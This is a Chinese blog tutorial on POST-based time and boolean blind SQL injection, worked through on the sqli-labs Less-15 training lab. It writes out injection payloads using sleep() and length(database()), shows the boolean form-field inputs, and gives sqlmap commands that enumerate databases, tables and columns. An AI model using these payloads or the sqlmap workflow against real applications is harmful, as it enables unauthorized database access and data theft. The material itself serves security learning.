SQL | POST基于时间与布尔盲注
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL | POST基于时间与布尔盲注相关的知识,希望对你有一定的参考价值。
SQL | POST基于时间与布尔盲注
1.HTTP POST介绍
POST
发送数据给服务器处理,数据包含在HTTP
信息正文中
POST
请求会指向资源提交数据,请求服务器进行处理,如:表单数据提交、文件上传等,请求数据会被包含在请求体中。
POST
方法可能创建新的资源或修改现有资源。
使用POST
方法时,查询字符串在POST
信息中单独存在,和HTTP
请求一起发送到服务器
2.POST基于时间的盲注
在存在注入点POST
提交的参数后加and if(length(database())>5,sleep(5),null)
如果执行的页面响应时间大于5
秒,那么肯定就存在注入,并且对应的SQL
语句执行。
我们在本地测试,有很明显延时
select * from users where id=1 and if(length(database())>5,sleep(5),null);
我们以Sqli-Lab-Less15
为例,先进行抓包
(1)抓到包后,先进行确认,是否是我们想要代理的数据包;
(2)确认之后,发现我们所请求的方式是POST
;
(3)把数据包发送给Response
,点击go
;
(4)查看右下角的时间情况;
本道题中,当我们使用时间盲注渗透测试时,有明显的延时回显
admin'and if(length(database())>7,sleep(5),null)--+
可以看到,前面正常的请求时间约2
秒,而我们此时的时间为7
秒,很明显的延时了5
秒钟
3.POST基于布尔的盲注
在存在注入点POST提交的参数后加入if判断正确或错误的语句。
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;
我们可以在本地的mysql
中进行测试
select * from users where username='admin' and (length(database())=8);
当我们测试数据库的长度是正确的时候,就会会显出正常的数据,否则为空。
我们还是以sqli-labs-less15
为例
uname=admin' and 1=2#&passwd=123&submit=Submit
查看页面源代码,发现回显的这张图片是slap.jpg
我们输入正确的测试语句时
uname=admin1' and 1=1#&passwd=123&submit=Submit
查看页面源代码,发现回显的这张图片是flag.jpg
当我们执行布尔盲注的语句时,也是一样的回显,以此,可以爆破数据库,数据表名,字段名和字段内容
uname=admin' and length(database())=8#&passwd=123&submit=Submit
4.sqlmap安全测试
在sqlmap中指点探测技术使用–technique T(time) B(boolean)
1.将抓取下来数据包,全部复制到一个文本文档中
2.保存之后,使用sqlmap进行渗透测试
python2 sqlmap.py -r 1.txt --technique T -p uname
3.通过上述回显可以看出存在SQL基于时间的盲注,接下来爆破数据库
python2 sqlmap.py -r 1.txt --technique T -p uname --dbs
4.爆破数据表
python2 sqlmap.py -r 1.txt --technique T -p uname -D security --tables
5.爆破字段及内容
python2 sqlmap.py -r 1.txt --technique T -p uname -D security -T users --columns
以上是关于SQL | POST基于时间与布尔盲注的主要内容,如果未能解决你的问题,请参考以下文章
SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!